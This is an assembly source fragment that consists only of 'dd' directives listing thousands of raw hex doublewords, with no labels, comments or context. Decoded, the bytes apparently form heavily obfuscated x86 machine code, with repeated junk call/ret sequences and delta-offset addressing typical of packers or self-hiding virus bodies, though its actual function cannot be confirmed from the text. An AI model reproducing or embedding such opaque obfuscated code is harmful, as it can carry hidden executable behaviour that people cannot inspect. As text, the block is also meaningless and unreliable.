		dd 9, 9B14984Fh, 431F11Ah, 0B5FF5B24h, 6ACADF2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C0C35747h, 29EBE82Eh
		dd 939BD8Bh, 10E906A9h,	77000000h, 16C32F69h, 17E59733h
		dd 0EC267866h, 0FF1BB755h, 0A90EC595h, 0A1958906h, 8B06A90Eh
		dd 0ACADE6B5h, 0DF8B6606h, 13BD858Bh, 6A06A9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 41C16FC3h, 18C82192h, 868936B7h, 0C4h, 0E5958960h, 8B06A911h
		dd 0A9229195h, 958B6106h, 6A916CDh, 0AE9h, 0E915F900h
		dd 9C6D30AFh, 83874EE5h, 0BB6604C2h, 8E0FDCF6h,	6, 12A19529h
		dd 508906A9h, 0D98B6620h, 0C1C3858Dh, 880F06ACh, 0Eh, 9E9h
		dd 0B7F7E200h, 6C6FFD4Dh, 86898922h, 0B8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ABC35343h, 3102A939h
		dd 618D89F7h, 6606A922h, 0E311D781h, 8960006Ah,	0A90CF18Dh
		dd 0C7816606h, 0FF61D520h, 0ACADF2B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0B75A47Ah, 2318D89h,	95FF06A9h, 6A90669h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D1C35141h, 0E5E8D85Bh
		dd 60605096h, 810Fh, 0B9660000h, 66613C4Dh, 9661CE8Bh
		dd 9E8h, 0DB0E1600h, 0A8203A4Ch, 8589FAA5h, 6A90939h, 0F2B5FF5Fh
		dd 0E906ACADh, 0Eh, 20899326h, 99E28E21h, 832E3D3Fh, 95FF292Eh
		dd 6A90C89h, 31E58D89h,	0BD8306A9h, 6A93319h, 32840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0BC98C356h, 16B0B03Ah,	8B962112h
		dd 5B5750DEh, 9FA8B96h,	0A910C5BDh, 0F2B5FF06h,	6A06ACADh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0BD8CC356h, 0E51A27FFh, 22E18529h, 95FF06A9h
		dd 6A91785h, 3565BD89h,	0B5FF06A9h, 6ACADF2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 81C35545h, 0B50964E8h
		dd 6A921A5h, 3179BD8Bh,	0BD8906A9h, 6A9150Dh, 2A6195FFh
		dd 6A06A9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 165E48C3h, 0BD832EE0h, 6A91E31h, 34840F02h
		dd 31000000h, 0A9240585h, 11858B06h, 6606A911h,	0C6BEFABBh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 218861C3h, 0C73B80E6h, 0A902F185h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 9C518D3Bh, 0C6D74FA9h, 0F2E8E953h, 6AFFFFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 391E3AC3h, 8BF53A66h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 2D9D8B2Ch, 0F06A912h
		dd 858DFFB7h, 6A90535h,	6EC4DCBFh, 5250901Ch, 6E9h, 874C3600h
		dd 0FA01FFAh, 1D9BF31h,	585A7869h, 90ABB750h, 53CB8166h
		dd 89006AD7h
		dd 0A912F995h, 9006A06h, 0A91A1995h, 8E858D06h,	8B06ADF2h
		dd 0A911FDBDh, 5C08306h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 99C35646h, 0E40A56B3h, 0CB81B29Ch, 297B2C27h
		dd 8D295352h, 6A9295Dh,	50905B5Bh, 5810Fh, 0DEBB0000h
		dd 9024D708h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0EFC35242h, 0ED1DA093h,	667D2298h, 6A413FBFh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 8C212EABh, 0E9641703h, 14h, 744B6F92h, 0BBE210CAh, 58AF41D4h
		dd 0EFBA9FDDh, 2D001110h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 485181C3h, 0DD810B19h
		dd 10E9F8CEh, 0D4000000h, 0C0E19131h, 0C387DB17h, 1418016Eh
		dd 0FFE1D41Bh, 0A92EA995h, 0CE906h, 20A40000h, 0F69365F2h
		dd 905406F4h, 8D8D437Fh, 6AC98DEh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0CCC35242h,	0F17AEEBCh, 0FF8D2191h
		dd 51006AD1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 685F3AFh, 83FBC4DBh, 0A912ADBDh,	850F0106h
		dd 6Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch
		dd 2CC35343h, 70FFB04Fh, 0D46D3824h, 2719BF66h,	6840Fh
		dd 9D890000h, 6A900FDh,	6690026Ah, 5025DBBFh, 5BDE8B56h
		dd 0ACBB6690h, 6995FF4Ch, 6A06A906h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A62FC356h
		dd 25BD8B2Fh, 0E906A91Dh, 0DEDh, 0E8h, 0ED815D00h, 6ADF298h
		dd 22B99D2Bh, 8D0106A9h, 6A91729h, 8A5B858Dh, 0BD8B06ACh
		dd 6A90389h, 50F8BF0Fh,	1EAB21BBh, 2404893Ch, 0EE8h, 0DBF86F00h
		dd 433AC106h, 49B908C2h, 0E911F865h, 0Ch, 0DC7DF2A8h, 3D8B1EBCh
		dd 0BD7EFD02h, 35FF645Fh, 0
		dd 15CDBD8Bh, 896406A9h, 25h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 1F9F280Ch
		dd 3CBD633Fh, 8D89F93Eh, 6A917D9h, 170D85FFh, 0FF6A06A9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BDC35141h
		dd 0D4A839F8h, 0E59D299Ch, 0FF06A919h, 0A90F25B5h, 39852906h
		dd 0FF06A935h, 0A934DD95h, 12EE906h, 8D890000h,	6A908A1h
		dd 13E900B0h, 0FB000000h, 57FDC5E9h, 0CF97CD96h, 0E379EAA3h
		dd 529F4505h, 70E6C198h, 2385BD8Bh, 71E406A9h, 613CFD8Ah
		dd 0FA830Fh, 0FF80000h,	0BAF5C8B6h, 6, 0CE98589h, 0C18B06A9h
		dd 104E8C1h, 0A90EC1B5h, 0E2F76606h, 0F60FA8Bh,	280h, 295A5100h
		dd 0A90C85B5h, 0C82B6106h, 29819D8Bh, 0D18B06A9h, 0BBE9h
		dd 0CE900h, 0AA0E0000h,	8DC94E4Fh, 24888EE7h, 858B36D0h
		dd 5F4C4C44h, 0C083FB8Bh, 14E807h, 4B530000h, 112D9EE8h
		dd 3F0A331Bh, 0A5408164h, 4104BC42h, 9D33CA7Fh,	6A91209h
		dd 0C0835Fh, 0C8D0Fh, 870F0000h, 6, 20159D8Bh, 0D03B06A9h
		dd 16830Fh, 89510000h, 0A933E58Dh, 55E95F06h, 0F000000h
		dd 386h, 0F8B70F00h, 0FFFF8D8Bh, 0BE9FFFFh, 8F000000h
		dd 0EF0D78D3h, 0DC014AADh, 0E183CE00h, 2D840F01h, 0F000000h
		dd 383h, 0FE8B6600h, 0FFFFA583h, 0FFEFFFFh, 0B88h, 58E0F00h
		dd 0BF000000h, 38857EB8h, 4C449589h, 0E9F95F4Ch, 0
		dd 6F20B58Dh, 0DF8B06ADh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 156E4FC3h, 0E4B59438h
		dd 8E86971h, 0E6000000h, 8FBABF42h, 81BAED77h, 90145DEBh
		dd 9D8B5B18h, 6A91CADh,	2D9595FFh, 816606A9h, 0B91441F7h
		dd 1164h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	4DC35242h, 19589CBh, 8306A922h,	6AFCE1h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0B027D5C3h, 6DE89007h, 7D9D8984h, 8106A92Ch,	0EA75F5E3h
		dd 6AFC10h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 1BE467C3h, 8A922084h, 0C02BCD57h,	5DBD8B52h
		dd 5F06A925h, 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0EF497369h, 0BD8B41E9h
		dd 6A90099h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	11E9h
		dd 0D61AEE00h, 0D232B532h, 914BFA1Bh, 1C009AFBh, 880D921Fh
		dd 0F000000h, 958BFAB7h, 6A916CDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 19C35141h, 0A37D43ABh, 91AD9490h
		dd 0AE8h, 68701300h, 2B2AAB7Ah,	51AA7334h, 8E8h, 3959DF00h
		dd 8991E91Fh, 5B5B5F66h, 8BD98B66h, 0A90CE58Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 42B903EEh, 5F89C888h, 810F1E51h, 6, 1A419D89h, 8B5006A9h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 2D1DB529h
		dd 0E38106A9h, 7D58A6CEh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0FBC35242h, 5D803861h, 0B58974E6h, 6A9124Dh
		dd 0E2A6EF81h, 0BD2924DDh, 6A90441h, 33C9BD83h,	0F0006A9h
		dd 9184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0C9B3656h, 0EE39D653h, 0E380C68Dh
		dd 0B87Ah, 0BD890000h, 6A9201Dh, 4DC08D8Dh, 6A06A9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0EABC68C3h, 0BD8B3D3Ch, 6A921B1h, 24DD8D89h,	0E1FF06A9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 79C35242h
		dd 0D5EEB148h, 0F79888F2h, 6676BF4Dh, 0BD836044h, 6A911CDh
		dd 31840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 89D1C357h, 29DA8BA6h
		dd 0A9003995h, 0CDBD8306h, 106A911h, 419840Fh, 8D0F0000h
		dd 6, 1741BD09h, 0BD8306A9h, 6A911CDh, 0CA860F03h, 6A000003h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 60FAC352h, 0B1254393h, 8B9EB3C1h,	0A917D99Dh
		dd 0BE96006h, 77000000h, 271B65EAh, 124FBEE6h, 0BD8BB780h
		dd 6A916C9h, 8BD98C66h,	4E180DEh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0A6C35545h,	0DB640941h, 59BD8BD2h
		dd 0A06A92Eh, 0FC840FC9h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 23ECC353h
		dd 6A898D83h, 858BF8C8h, 6A90619h, 0DCCB8166h, 0F98533BBh
		dd 6606A931h, 505749BBh, 810Fh,	4890000h, 29BD8B24h, 8906A926h
		dd 0A920A9BDh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 3EBDC352h, 0EF9C2368h
		dd 240481A7h, 582F67DCh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 62C35242h, 5AC534E5h,	0FFCEFD12h, 0A9357995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 2BDFE50Fh, 0BD8BE88Bh, 6A92C5Dh,	0ADF28589h
		dd 66FC06ACh, 35AD381h,	1F2E9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 86DF818Ah
		dd 8B50AC57h, 0ACADEA85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0FB549F37h
		dd 0E8AFC47Fh, 8, 0DCC7BFC5h, 5999A46Eh, 11D9D23h, 0C75F06A9h
		dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 386A9907h, 52A4A9C3h, 0BD297C3Fh
		dd 6A91E01h, 0ADEEB58Bh, 9D8B06ACh, 6A90EA9h, 32BD858Bh
		dd 9D3306A9h, 6A91D69h,	6A0689h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0AF3A65C3h, 8BD6B23Bh
		dd 0A914299Dh, 19858B06h, 6A06A906h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0FF4DC356h
		dd 1A867437h, 4689F2FEh, 39958904h, 5006A902h, 0CE6EBB51h
		dd 895B0EFAh, 95892434h, 6A916C1h, 4658D89h, 0B5FF06A9h
		dd 6ACADEAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0EAC35141h, 0FA8BA8C4h,	0B8EF8160h, 896A1A5Fh
		dd 0A91D7985h, 9F686106h, 66BA3235h, 481D88Bh, 0ECCE6024h
		dd 858DF845h, 6ACADF2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0EDC35747h, 27FD5592h, 569B5028h, 0E1858902h
		dd 0E906A935h, 0Dh, 8BB39CF3h, 0AEC082F0h, 60B7341Fh, 13E890F6h
		dd 93000000h, 2D6632E1h, 57DC569h, 4B7BEE7Fh, 74850930h
		dd 505B05DCh, 3DBD2B90h, 0FF06A926h, 0A9357995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 9A95D961h, 820DA1Ah,	659D31E7h, 6106A914h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7FC35343h, 61455F3h
		dd 0C7FC4774h, 0A911CD85h, 306h, 0CE96000h, 3D000000h
		dd 7182F3D6h, 0D14E47DFh, 0F83D5409h, 0F2BD8361h, 6ACADh
		dd 37840Fh, 9D8B0000h, 6A916BDh, 47E9h,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 33A4B813h, 5800Fh, 81660000h, 0B3B04DD7h, 0C30507Ah
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	68A0Fh
		dd 8D090000h, 6A90609h,	7830Fh,	0F600000h, 0D18ACABFh
		dd 0CDBD8361h, 306A911h, 48B850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0A2C50CC3h
		dd 39F9C137h, 0F2BD83FFh, 6ACADh, 45B840Fh, 8E90000h, 30000000h
		dd 46D92011h, 0FF5F51CEh, 0ACADF2B5h, 0D7816606h, 95FFB9A4h
		dd 6A90B51h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0D2C35242h, 0A7EB4EC1h,	895023A7h, 0A9083985h
		dd 0B58B5F06h, 6ACADE6h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 4CC35040h, 0CB816612h, 0DE9A779h, 23000000h
		dd 0B8C2131Fh, 7E513FDDh, 7BC129A9h, 106C7h, 6A0001h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 7EE41CC3h, 686D84C6h, 662AD151h, 0AAC5CF81h,	0B5B56096h
		dd 89965061h, 0A9203D9Dh, 0F2B5FF06h, 6A06ACADh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 339DC357h, 96BF13C4h, 0FF4BE572h, 0A90EC595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0E900EDF5h, 0CD4F7FACh, 46D387BBh, 0E6B58B37h, 6606ACADh
		dd 0BD29FB8Bh, 6A91699h, 13BD858Bh, 6A06A9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 1BF411C3h
		dd 1F499D8Bh, 868906A9h, 0C4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0BCC35343h,	0FEB9C752h, 0CF81F917h
		dd 6E734664h, 16CD958Bh, 6A06A9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0A276A7C3h, 0C283A04Ah
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0D5BF7E08h, 89049FD5h, 6A2050h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0C2B983C3h, 0EFA82AD6h, 8D876A9Eh, 0ACC1C385h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0AE979h, 16CE0000h, 8DAE5E10h, 0A25B1306h, 0C8B0Fh
		dd 8C0F0000h, 6, 1285B529h, 868906A9h, 0B8h, 0FFFB70Fh
		dd 6ADEB7h, 11E8h, 45AC2F00h, 161E21D0h, 0EFBE86A0h, 0A6A8CB54h
		dd 9D899802h, 6A912DDh,	0F2B5FF5Bh, 6A06ACADh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2045C357h, 0DEC2F1CDh, 8B1EA03Eh, 0A9018DBDh, 6995FF06h
		dd 8906A906h, 0A91D6595h, 0FE85006h, 0E9000000h, 54BC72F6h
		dd 0E14682C6h, 1C0E51EFh, 11E829ADh, 91000000h,	0DBC82AF6h
		dd 5606D636h, 0EB5A9487h, 9510B373h, 310F5250h,	5B5B585Ah
		dd 6A243489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 8CA1C350h, 31E3C483h, 0A9265585h
		dd 0F2B5FF06h, 0FF06ACADh, 0A90C8995h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 33CEA843h, 0A91A559Dh, 19BD8306h, 6A933h, 70840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 732C8C3h, 0E828EF02h, 10E955h, 0E1B50000h, 0C22FE23Ch
		dd 208D53Ch, 3087F21Ah,	669690F5h, 504F39BBh, 0F5FFBB66h
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 4582BF1Ah, 8E7D8456h, 0BEB3B166h, 0E0D9D8Bh
		dd 0B5FF06A9h, 6ACADF2h, 68B0F57h, 81000000h, 0C8449AE3h
		dd 95FF5F40h, 6A91785h,	0E1D9D89h, 0B5FF06A9h, 6ACADF2h
		dd 0FEB70F50h, 6195FF5Fh, 8006A92Ah, 0BD83FFDFh, 6A91E31h
		dd 66840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0C3BDC356h,	96B0301Ch
		dd 0E9C79F60h, 9, 8FD7C39h, 0C3D722BAh,	11858B3Eh, 6A06A911h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0E1F4C351h, 0AB28A8CDh, 169D9D29h, 0C606A9h
		dd 0F2BB6600h, 0F185C7C8h, 6A902h, 8B000000h, 0A90C5D9Dh
		dd 0F2C0E906h, 0B529FFFFh, 6A932E5h, 8166C18Bh,	893D92D7h
		dd 0A913199Dh, 35858D06h, 5106A905h, 0EE74BF66h, 12E8505Fh
		dd 7A000000h, 0EE69A43Eh, 0A2FC473Dh, 0D71EB048h, 0CD83E3CFh
		dd 0C3BF66A2h, 4895F03h, 0DA8B6624h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B674A7C3h
		dd 73577068h, 6AF8DDFFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 9CB126B7h, 79154909h
		dd 22BB6604h, 0CE95Ch, 232B0000h, 0AC7E0AF0h, 8532062Ah
		dd 858D046Fh, 6AE027Eh,	13E99589h, 0C08306A9h, 499D8B05h
		dd 5006A900h, 89F98B66h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 7C51BC3h, 78920EAFh
		dd 8B45B3B2h, 0A917319Dh, 89006A06h, 0A935718Dh, 0E8006A06h
		dd 0Fh,	7AD72360h, 0C67210h, 4BA89688h,	8BC72A6Fh, 0A917659Dh
		dd 8B665B06h, 0A995FFFEh, 8B06A92Eh, 0DE8D8DDFh, 8B06AC98h
		dd 6AD1FFDAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 9D9C352h, 0A935998Dh, 0ADBD8306h
		dd 106A912h, 0BD850Fh, 81660000h, 0F9A02E7h, 685h, 3BE78100h
		dd 6A7E39F4h, 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0DAA226D6h, 20CF1E58h, 0FE9F7h, 0E2060000h
		dd 8DCFA161h, 5599F81Dh, 3D193232h, 16D38118h, 9069CEA2h
		dd 0C868BB66h, 12E950h,	50E80000h, 461B3EDBh, 98615BA8h
		dd 0C4BBF2A6h, 31400D5Bh, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 663FFC72h
		dd 0FFA3C1BFh, 0A9066995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 4DB1F909h
		dd 0D1BD8BC7h, 0E906A90Eh, 0D43h, 0E8h,	0ED815D00h, 6AE0288h
		dd 2D718589h, 6A06A9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 858DBCC3h, 6AC8A5Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 72C35040h, 659D1137h
		dd 0D8500FF4h, 5DBD8947h, 8006A922h, 0F902AE7h,	884h, 28C0F00h
		dd 51000000h, 6653505Bh, 905BFA8Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 91C35646h, 320865D9h, 64CEEB47h
		dd 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BF426CC3h, 1C275961h, 0E758D89h
		dd 896406A9h, 25h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1D04h, 0C3504000h, 529F4505h, 3554C198h
		dd 0FB8B2652h, 0DA59D89h, 85FF06A9h, 6A9170Dh, 1BBE4EBFh
		dd 6AFF6A2Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 18EBC352h, 6FCF33CEh, 850F5D2Eh
		dd 10h,	0BE9h, 0A7BD8400h, 0D27C1819h, 283D6975h, 2C85B5FFh
		dd 816606A9h, 0FF3CAFC7h, 0A934DD95h, 0BBE906h,	8B660000h
		dd 0E600B0DFh, 0FDB58970h, 0E406A916h, 6187BB71h, 613C30D9h
		dd 9F830Fh, 9D2B0000h, 6A904DDh, 0F8C8B60Fh, 6BAh, 0B5958900h
		dd 8B06A91Fh, 11B589C1h, 0C106A917h, 853104E8h,	6A90ECDh
		dd 0BFE2F766h, 4885651Dh, 0B70FC82Bh, 0F8D18BD8h, 64E9h
		dd 8BD98B00h, 554C5085h, 0C1BD0B47h, 8306A920h,	665707C0h
		dd 5FF818BBh, 3B00C083h, 10830FD0h, 89000000h, 0A91FA995h
		dd 37E906h, 59BB0000h, 8B7F8B77h, 0FFFFFF8Dh, 7CBF66FFh
		dd 1E183F0h, 1F840Fh, 83F50000h, 0FFFFFFA5h, 0C781FEFFh
		dd 2A45F0F1h, 4C509589h, 0DB814755h, 57683B93h,	0E9h, 84B58D00h
		dd 0E806AD80h, 8, 3E3B3BA6h, 97867B7Bh,	1D9D8Bh, 6A5F06A9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 9589453Eh, 6A90909h, 2D9595FFh, 0BF0F06A9h
		dd 107BB9D9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0EF1BADC3h, 3431BD8Bh, 0D1BB06A9h
		dd 8369DFF1h, 8B66FCE1h, 6AFCF9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0C9BAA9C3h, 13084C31h
		dd 0C19D8915h, 2B06A916h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 587185B4h
		dd 5E9FFh, 1CD0000h, 0BAE83BFDh, 0
		dd 0ADFB8B66h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 4328C353h, 8069D768h, 0DA8B17E7h, 0C5D9D8Bh,	9D8B06A9h
		dd 6A92D91h, 880Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 16E98A84h, 958B25C9h
		dd 6A916CDh, 0B1D1BB60h, 8B610A61h, 0A90CE58Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 7B59C117h, 238D42DCh, 0A90C159Dh, 0C28B5006h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 4C56C350h
		dd 0D2B84127h, 0DA8B20D9h, 11E9h, 7E4B8900h, 0C0F5E0E3h
		dd 5E060EDBh, 6A35DCC4h, 6A59ECh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BD8328C3h, 6A933C9h
		dd 5E840F00h, 8B000000h, 0A91DE1BDh, 0B806h, 0C9BF0000h
		dd 8D4A6E69h, 0A94DC08Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 3C195325h
		dd 4895177Ah, 0DD9D31h,	852906A9h, 6A90D4Dh, 12E9E1FFh
		dd 70000000h, 0C7628DB2h, 4F6B8C89h, 37BE1E79h,	2D0A896Dh
		dd 0CDBD83C5h, 6A911h, 466840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 1BD232C3h
		dd 0FB914BFAh, 0CDBD839Ah, 106A911h, 451840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F61BCEC3h, 2EC3C74Ch, 0A5BF8069h, 0E818EC83h, 0Eh
		dd 0CCF514F2h, 588380DEh, 1E9FA151h, 0F98B0584h, 0CDBD835Fh
		dd 306A911h, 3CF860Fh, 7E90000h, 7A000000h, 71B1352Dh
		dd 666027ACh, 0EB80D98Ch, 0C78166C7h, 0E1802E4Dh, 0FC90A04h
		dd 0ED84h, 0FE900h, 96B60000h, 0C6507D1Eh, 887941F6h, 41ECB229h
		dd 19858B17h, 6606A906h, 3175EB81h, 31F98533h, 7E806A9h
		dd 0E1000000h, 1667BC13h, 0DF8B938Fh, 0F3B7505Fh, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0E344C351h, 0F6A95526h, 0BD8B9532h, 6A91CA9h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0B5F5EFC3h, 7EBC3C5Bh, 0B9BD096Eh, 0BF06A913h
		dd 371E2D13h, 41C63D68h, 47BF664Bh, 24348113h, 4B5EC5C2h
		dd 7E9h, 0D1411E00h, 2632A1BAh,	357995FFh, 0BD2B06A9h
		dd 6A92E55h, 0ADF28589h, 6A06ACh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8AD49AC3h, 0F5BD89FEh
		dd 0E906A907h, 227h, 858BF88Ah,	6ACADEAh, 0C7F88Bh, 18h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 99C35242h
		dd 0C15FB916h, 8BFE0851h, 0ACADEEB5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 6677E274h, 0EB4F0DD8h, 284DBD8Bh, 858B06A9h,	6A932BDh
